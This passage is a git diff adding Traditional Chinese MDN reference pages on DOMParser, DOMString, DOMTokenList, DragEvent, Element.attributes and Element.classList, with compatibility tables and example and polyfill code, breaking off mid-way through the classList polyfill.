+		if (/^\s*text\/html\s*(?:;|$)/i.test(type)) {
+			var
+			  doc = document.implementation.createHTMLDocument("")
+			;
+	      		if (markup.toLowerCase().indexOf('&lt;!doctype') &gt; -1) {
+        			doc.documentElement.innerHTML = markup;
+      			}
+      			else {
+        			doc.body.innerHTML = markup;
+      			}
+			return doc;
+		} else {
+			return <span style="font-size: 1rem;">nativeParse</span><span style="font-size: 1rem;">.apply(this, arguments);</span>
+		}
+	};
+}(DOMParser));
+</pre>
+
+<h3 id="DOMParser_from_ChromeJSMXPCOMPrivileged_Scope">DOMParser from Chrome/JSM/XPCOM/Privileged Scope</h3>
+
+<p>See article here: <a href="/en-US/docs/nsIDOMParser">nsIDOMParser</a></p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>XML support</td>
+   <td>{{CompatChrome(1)}}</td>
+   <td>{{CompatGeckoDesktop(1)}}</td>
+   <td>{{CompatIE(9)}}</td>
+   <td>{{CompatOpera(8)}}</td>
+   <td>{{CompatSafari(3.2)}}</td>
+  </tr>
+  <tr>
+   <td>SVG support</td>
+   <td>{{CompatChrome(4)}}</td>
+   <td>{{CompatGeckoDesktop(10.0)}}</td>
+   <td>{{CompatIE(10)}}</td>
+   <td>{{CompatOpera(15)}}</td>
+   <td>{{CompatSafari(3.2)}}</td>
+  </tr>
+  <tr>
+   <td>HTML support</td>
+   <td>{{CompatChrome(30)}}</td>
+   <td>{{CompatGeckoDesktop(12.0)}}</td>
+   <td>{{CompatIE(10)}}</td>
+   <td>{{CompatOpera(17)}}</td>
+   <td>{{CompatSafari(7.1)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>XML support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>SVG support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(10.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>HTML support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(12.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">參考資料</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Parsing_and_serializing_XML" title="Parsing_and_serializing_XML">Parsing and serializing XML</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest" title="DOM/XMLHttpRequest">XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/XMLSerializer" title="XMLSerializer">XMLSerializer</a></li>
+ <li><a href="/en-US/Add-ons/Code_snippets/HTML_to_DOM">Parsing HTML to DOM</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/domstring/index.html b/files/zh-tw/web/api/domstring/index.html
new file mode 100644
index 0000000000..396773ce7f
--- /dev/null
+++ b/files/zh-tw/web/api/domstring/index.html
@@ -0,0 +1,50 @@
+---
+title: DOMString
+slug: Web/API/DOMString
+translation_of: Web/API/DOMString
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><strong><code>DOMString</code></strong> 是編碼為 UTF-16 的字串。當 JavaScript 使用這類字串時， <code>DOMString</code> 會映射成一個 {{jsxref("String")}}.</p>
+
+<p>傳送 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null">null</a></code> 給接受 <code>DOMString</code> 的 method 或參數時，會將其轉換成 <code>"null"</code>。</p>
+
+<h2 id="Specification" name="Specification">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebIDL', '#idl-DOMString', 'DOMString')}}</td>
+   <td>{{Spec2('WebIDL')}}</td>
+   <td>修正定義文件用詞。並移除奇特的極端請況。</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#DOMString', 'DOMString')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>No change from {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-C74D1578', 'DOMString')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>No change from {{SpecName('DOM1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-C74D1578', 'DOMString')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>初次定義 DOMString 。</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="延伸閱讀">延伸閱讀</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String" title="/en-US/docs/Web/API/DOMString">String</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays/String_view" title="/en-US/docs/Web/JavaScript/Typed_arrays/String_view"><code>StringView</code> – a C-like representation of strings based on typed arrays</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/DOMString/Binary">Binary strings</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/domtokenlist/index.html b/files/zh-tw/web/api/domtokenlist/index.html
new file mode 100644
index 0000000000..998c3b6e48
--- /dev/null
+++ b/files/zh-tw/web/api/domtokenlist/index.html
@@ -0,0 +1,117 @@
+---
+title: DOMTokenList
+slug: Web/API/DOMTokenList
+translation_of: Web/API/DOMTokenList
+---
+<p>{{APIRef("DOM")}}{{gecko_minversion_header("1.9.2")}}</p>
+
+<p><code><strong>DOMTokenList</strong></code> 介面表示了一個以空格作為分隔的內容集，通常來自 {{domxref("Element.classList")}}、{{domxref("HTMLLinkElement.relList")}}、{{domxref("HTMLAnchorElement.relList")}} 或 {{domxref("HTMLAreaElement.relList")}} 等屬性。本介面與 {{jsxref("Array")}} 同樣是由 <code>0</code> 開始索引，且 <code>DOMTokenList</code> 是區分大小寫的。</p>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em>This interface doesn't inherit any property.</em></p>
+
+<dl>
+ <dt>{{domxref("DOMTokenList.length")}} {{ReadOnlyInline}}</dt>
+ <dd>Is an <code>integer</code> representing the number of objects stored in the object.</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<p><em>This interface doesn't inherit any method.</em></p>
+
+<dl>
+ <dt>{{domxref("DOMTokenList.item()")}}</dt>
+ <dd>Returns an item in the list by its index (or undefined if the number is greater than or equal to the length of the list, prior to {{gecko("7.0")}} returned null)</dd>
+ <dt>{{domxref("DOMTokenList.contains()")}}</dt>
+ <dd>Returns <code>true</code> if the underlying string contains <em>token</em>, otherwise <code>false</code></dd>
+ <dt>{{domxref("DOMTokenList.add()")}}</dt>
+ <dd>Adds <em>token</em> to the underlying string</dd>
+ <dt>{{domxref("DOMTokenList.remove()")}}</dt>
+ <dd>Removes <em>token</em> from the underlying string</dd>
+ <dt>{{domxref("DOMTokenList.replace()")}}</dt>
+ <dd>Replaces an existing <em>token</em> with a new token.</dd>
+ <dt>{{domxref("DOMTokenList.supports()")}}</dt>
+ <dd>Returns <code>true</code> if a given <em>token</em> is in the associated attribute's supported tokens.</dd>
+ <dt>{{domxref("DOMTokenList.toggle()")}}</dt>
+ <dd>Removes <em>token</em> from string and returns false. If <em>token</em> doesn't exist it's added and the function returns true</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#interface-domtokenlist", "DOMTokenList")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{domxref("DOMSettableTokenList")}} (object that extends DOMTokenList with settable <em>.value</em> property)</li>
+</ul>
diff --git a/files/zh-tw/web/api/dragevent/datatransfer/index.html b/files/zh-tw/web/api/dragevent/datatransfer/index.html
new file mode 100644
index 0000000000..f46de41856
--- /dev/null
+++ b/files/zh-tw/web/api/dragevent/datatransfer/index.html
@@ -0,0 +1,118 @@
+---
+title: DragEvent.dataTransfer
+slug: Web/API/DragEvent/dataTransfer
+translation_of: Web/API/DragEvent/dataTransfer
+---
+<div>{{APIRef("HTML Drag and Drop API")}}</div>
+
+<p><code><strong>DataEvent.dataTransfer</strong></code> 屬性保留了拖曳操作中的資料（指向一個 {{domxref("DataTransfer")}} 物件）。</p>
+
+<p>此屬性為 {{readonlyInline}}。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">var <var>data</var> = <var>dragEvent</var>.dataTransfer;
+</pre>
+
+<h3 id="回傳值">回傳值</h3>
+
+<dl>
+ <dt><code>data</code></dt>
+ <dd>一個保存 {{domxref("DragEvent")}} 當中資料的 {{domxref("DataTransfer")}} 物件。</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<p>This example illustrates accessing the drag and drop data within the {{event("dragend")}} event handler.</p>
+
+<pre class="brush: js">function process_data(d) {
+   // Process the data ...
+}
+
+dragTarget.addEventListener("dragend", function(ev) {
+   // Call the drag and drop data processor
+   if (ev.dataTransfer != null) process_data(ev.dataTransfer);
+ }, false);
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "interaction.html#dom-dragevent-datatransfer", "DragEvent.dataTransfer")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "editing.html#dom-dragevent-datatransfer", "DragEvent.dataTransfer")}}</td>
+   <td>{{Spec2("HTML5.1")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>10</td>
+   <td>12</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatIE("10")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/zh-tw/web/api/dragevent/index.html b/files/zh-tw/web/api/dragevent/index.html
new file mode 100644
index 0000000000..45f233ab58
--- /dev/null
+++ b/files/zh-tw/web/api/dragevent/index.html
@@ -0,0 +1,160 @@
+---
+title: DragEvent
+slug: Web/API/DragEvent
+translation_of: Web/API/DragEvent
+---
+<div>{{APIRef("HTML Drag and Drop API")}}</div>
+
+<p><strong><code>DragEvent</code></strong> 介面是一種 {{domxref("Event","DOM event")}}，定義了拖放操作時產生的事件物件。使用者藉由把指標裝置 (例如滑鼠) 放到有效區域並拖移到另一個新的位置 ( 如另外一個 DOM 元素 ) 來開始一個拖動的動作。 而應用程式可以自由地決定互動的方式來達到符合該應用程式的使用情境。</p>
+
+
+
+<p class="note">This interface inherits properties from {{domxref("MouseEvent")}} and {{domxref("Event")}}.</p>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt>{{domxref('DragEvent.dataTransfer')}} {{readonlyInline}}</dt>
+ <dd>The data that is transferred during a drag and drop interaction.</dd>
+</dl>
+
+<h2 id="建構式">建構式</h2>
+
+<p class="note">Although this interface has a constructor, it is not possible to create a useful DataTransfer object from script, since {{domxref("DataTransfer")}} objects have a processing and security model that is coordinated by the browser during drag-and-drops.</p>
+
+<dl>
+ <dt>{{domxref("DragEvent.DragEvent", "DragEvent()")}}</dt>
+ <dd>Creates a synthetic and untrusted DragEvent.</dd>
+</dl>
+
+<h2 id="事件類型">事件類型</h2>
+
+<dl>
+ <dt>{{event('drag')}}</dt>
+ <dd>在『被選擇的物件』被拖曳時觸發。</dd>
+ <dt>{{event('dragend')}}</dt>
+ <dd>在『被選擇的物件』結束拖曳時觸發 (就是放開滑鼠鍵、或按下 Esc 鍵時)。</dd>
+ <dt>{{event('dragenter')}}</dt>
+ <dd>當『被選擇的物件』被拖曳到『可以當目標的物件』時, 在『進入』該目標物件上方的瞬間觸發。注意, 不是『被選擇的物件』觸發此事件, 而是『可以當目標的物件』。</dd>
+ <dt>{{event('dragexit')}}</dt>
+ <dd>This event is fired when an element is no longer the drag operation's immediate selection target.</dd>
+ <dt>{{event('dragleave')}}</dt>
+ <dd>當『被選擇的物件』被拖曳到『可以當目標的物件』時, 在『離開』該目標物件上方的瞬間觸發。注意, 不是『被選擇的物件』觸發此事件, 而是『可以當目標的物件』。</dd>
+ <dt>{{event('dragover')}}</dt>
+ <dd>當『被選擇的物件』被拖曳到『可以當目標的物件』的上方時觸發 (頻率大約每秒數次)。注意, 不是『被選擇的物件』觸發此事件, 而是『可以當目標的物件』 。</dd>
+ <dt>{{event('dragstart')}}</dt>
+ <dd>在『被選擇的物件』開始拖曳時觸發。</dd>
+ <dt>{{event('drop')}}</dt>
+ <dd>當『被選擇的物件』被拖曳、放到『目標物件』時觸發。注意, 不是『被選擇的物件』觸發此事件, 而是『目標物件』。</dd>
+</dl>
+
+<h2 id="通用事件處理器">通用事件處理器</h2>
+
+<dl>
+ <dt>{{domxref('GlobalEventHandlers.ondrag')}}</dt>
+ <dd>A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('drag')}} event.</dd>
+ <dt>{{domxref('GlobalEventHandlers.ondragend')}}</dt>
+ <dd>A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('dragend')}} event.</dd>
+ <dt>{{domxref('GlobalEventHandlers.ondragenter')}}</dt>
+ <dd>A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('dragenter')}} event.</dd>
+ <dt>{{domxref('GlobalEventHandlers.ondragexit')}}</dt>
+ <dd>A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('dragexit')}} event.</dd>
+ <dt>{{domxref('GlobalEventHandlers.ondragleave')}}</dt>
+ <dd>A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('dragleave')}} event.</dd>
+ <dt>{{domxref('GlobalEventHandlers.ondragover')}}</dt>
+ <dd>A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('dragover')}} event.</dd>
+ <dt>{{domxref('GlobalEventHandlers.ondragstart')}}</dt>
+ <dd>A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('dragstart')}} event.</dd>
+ <dt>{{domxref('GlobalEventHandlers.ondrop')}}</dt>
+ <dd>A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('drop')}} event.</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<p>An Example of each property, constructor, event type and global event handlers is included in their respective reference page.</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "interaction.html#the-dragevent-interface", "DragEvent")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "editing.html#the-dragevent-interface", "DragEvent")}}</td>
+   <td>{{Spec2("HTML5.1")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>10</td>
+   <td>12</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatIE("10")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<p>{{page("/zh-TW/docs/Web/API/DataTransfer", "參見")}}</p>
diff --git a/files/zh-tw/web/api/element/attributes/index.html b/files/zh-tw/web/api/element/attributes/index.html
new file mode 100644
index 0000000000..ce24985c8b
--- /dev/null
+++ b/files/zh-tw/web/api/element/attributes/index.html
@@ -0,0 +1,121 @@
+---
+title: Element.attributes
+slug: Web/API/Element/attributes
+translation_of: Web/API/Element/attributes
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p> </p>
+
+<p>The <strong><code>Element.attributes</code></strong> property returns a live collection of all attribute nodes registered to the specified node. It is a {{domxref("NamedNodeMap")}}, not an <code>Array</code>, so it has no {{jsxref("Array")}} methods and the {{domxref("Attr")}} nodes' indexes may differ among browsers. To be more specific, <code>attributes</code> is a key/value pair of strings that represents any information regarding that attribute.</p>
+
+<p> </p>
+
+<p>Element.attribute 特性會把特定節點裡所有的屬性變成一個集合,然後回傳出來. 這是一個  <a href="https://developer.mozilla.org/en-US/docs/Web/API/NamedNodeMap">NamedNodeMap</a>, 而並非一個陣列. 所以它並沒有陣列的方法和在瀏覽器中  <a href="https://developer.mozilla.org/en-US/docs/Web/API/Attr">Attr</a>節點裡的索引值也可能不同. 更詳細的來說, attributes 是一個鍵/值的配對, 它包含了所有有關於這個節點屬性的資訊</p>
+
+<p> </p>
+
+<p>Syntax</p>
+
+<pre class="syntaxbox">var <em>attr</em> =<em> element</em>.attributes;
+</pre>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<h3 id="Basic_examples">Basic examples</h3>
+
+<pre class="brush: js">// Get the first &lt;p&gt; element in the document
+var para = document.getElementsByTagName("p")[0];
+var atts = para.attributes;</pre>
+
+<h3 id="Enumerating_elements_attributes" name="Enumerating_elements_attributes">Enumerating elements attributes</h3>
+
+<p>Numerical indexing is useful for going through all of an element's attributes.<br>
+ The following example runs through the attribute nodes for the element in the document with id "paragraph", and prints each attribute's value.</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+
+&lt;html&gt;
+
+ &lt;head&gt;
+  &lt;title&gt;Attributes example&lt;/title&gt;
+  &lt;script type="text/javascript"&gt;
+   function listAttributes() {
+     var paragraph = document.getElementById("paragraph");
+     var result = document.getElementById("result");
+
+     // First, let's verify that the paragraph has some attributes
+     if (paragraph.hasAttributes()) {
+       var attrs = paragraph.attributes;
+       var output = "";
+       for(var i = attrs.length - 1; i &gt;= 0; i--) {
+         output += attrs[i].name + "-&gt;" + attrs[i].value;
+       }
+       result.value = output;
+     } else {
+       result.value = "No attributes to show";
+     }
+   }
+  &lt;/script&gt;
+ &lt;/head&gt;
+
+&lt;body&gt;
+ &lt;p id="paragraph" style="color: green;"&gt;Sample Paragraph&lt;/p&gt;
+ &lt;form action=""&gt;
+  &lt;p&gt;
+    &lt;input type="button" value="Show first attribute name and value"
+      onclick="listAttributes();"&gt;
+    &lt;input id="result" type="text" value=""&gt;
+  &lt;/p&gt;
+ &lt;/form&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-attributes', 'Element.attributes')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>From {{SpecName('DOM3 Core')}}, moved from {{domxref("Node")}} to {{domxref("Element")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-84CF096', 'Element.attributes')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>No change from {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-84CF096', 'Element.attributes')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>No change from {{SpecName('DOM1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-84CF096', 'Element.attributes')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Element.attributes")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("NamedNodeMap")}}, the interface of the returned object</li>
+ <li>Cross-browser compatibility considerations: on <a class="external" href="http://www.quirksmode.org/dom/w3c_core.html#attributes" title="http://www.quirksmode.org/dom/w3c_core.html#attributes">quirksmode</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/element/classlist/index.html b/files/zh-tw/web/api/element/classlist/index.html
new file mode 100644
index 0000000000..afa5b7c862
--- /dev/null
+++ b/files/zh-tw/web/api/element/classlist/index.html
@@ -0,0 +1,403 @@
+---
+title: Element.classList
+slug: Web/API/Element/classList
+translation_of: Web/API/Element/classList
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code><strong>Element.classList</strong></code> 唯讀屬性代表了該元素所擁有之類別屬性（<code>Class</code> {{Glossary("Attribute")}}）的即時更新集－{{domxref("DOMTokenList")}}。</p>
+
+<p>使用 <code>classList</code> 屬性是取得元素 <code>Class</code> 的一種便利方式，也可以透過 {{domxref("element.className")}} 來得到以空格分隔之 <code>Class</code> 清單字串。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">var <var>elementClasses</var> = elementNodeReference.classList;
+</pre>
+
+<p><em>elementClasses</em> is a {{domxref("DOMTokenList")}} representing the class attribute of <em>elementNodeReference</em>. If the class attribute was not set or is empty <em>elementClasses.length</em> returns 0. <code>element.classList</code> itself is read-only, although you can modify it using the<code> add()</code> and <code>remove()</code> methods.</p>
+
+<h2 id="方法">方法</h2>
+
+<dl>
+ <dt>add( String [, String] )</dt>
+ <dd>Add specified class values. If these classes already exist in attribute of the element, then they are ignored.</dd>
+ <dt>remove( String [,String] )</dt>
+ <dd>Remove specified class values.</dd>
+ <dt><strong>item</strong> ( Number )</dt>
+ <dd>Return class value by index in collection.</dd>
+ <dt><strong>toggle</strong> ( String [, force] )</dt>
+ <dd>When only one argument is present: Toggle class value; i.e., if class exists then remove it and return false, if not, then add it and return true.<br>
+ When a second argument is present: If the second argument is true, add specified class value, and if it is false, remove it.</dd>
+ <dt>contains( String )</dt>
+ <dd>Checks if specified class value exists in class attribute of the element.</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js" dir="rtl">// div is an object reference to a &lt;div&gt; element with class="foo bar"
+div.classList.remove("foo");
+div.classList.add("anotherclass");
+
+// if visible is set remove it, otherwise add it
+div.classList.toggle("visible");
+
+//  add/remove visible, depending on test conditional, i less than 10
+div.classList.toggle("visible", i &lt; 10 );
+
+alert(div.classList.contains("foo"));
+
+div.classList.add("foo","bar"); //add multiple classes</pre>
+
+<div class="note">
+<p>Versions of Firefox before 26 do not implement the use of several arguments in the add/remove/toggle methods. See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=814014">https://bugzilla.mozilla.org/show_bug.cgi?id=814014</a></p>
+</div>
+
+<h2 id="JavaScript_shim_for_other_implementations">JavaScript shim for other implementations</h2>
+
+<div class="note"><strong>Note:</strong> This shim does not work in Internet Explorer versions less than 8.</div>
+
+<pre class="brush: js">/*
+ * classList.js: Cross-browser full element.classList implementation.
+ * 2014-07-23
+ *
+ * By Eli Grey, http://eligrey.com
+ * Public Domain.
+ * NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK.
+ */
+
+/*global self, document, DOMException */
+
+/*! @source http://purl.eligrey.com/github/classList.js/blob/master/classList.js*/
+
+if ("document" in self) {
+
+// Full polyfill for browsers with no classList support
+if (!("classList" in document.createElement("_"))) {
+
+(function (view) {
+
+"use strict";
+
+if (!('Element' in view)) return;
+
+var
+    classListProp = "classList"
+  , protoProp = "prototype"
+  , elemCtrProto = view.Element[protoProp]
+  , objCtr = Object
+  , strTrim = String[protoProp].trim || function () {
+    return this.replace(/^\s+|\s+$/g, "");
+  }
+  , arrIndexOf = Array[protoProp].indexOf || function (item) {
+    var
+        i = 0
+      , len = this.length
+    ;
+    for (; i &lt; len; i++) {
+      if (i in this &amp;&amp; this[i] === item) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  // Vendors: please allow content code to instantiate DOMExceptions
+  , DOMEx = function (type, message) {
+    this.name = type;
+    this.code = DOMException[type];
+    this.message = message;
+  }
+  , checkTokenAndGetIndex = function (classList, token) {
+    if (token === "") {
+      throw new DOMEx(
+          "SYNTAX_ERR"
+        , "An invalid or illegal string was specified"
+      );
+    }
+    if (/\s/.test(token)) {
+      throw new DOMEx(
+          "INVALID_CHARACTER_ERR"
+        , "String contains an invalid character"
+      );
+    }
+    return arrIndexOf.call(classList, token);
+  }
+  , ClassList = function (elem) {
+    var
+        trimmedClasses = strTrim.call(elem.getAttribute("class") || "")
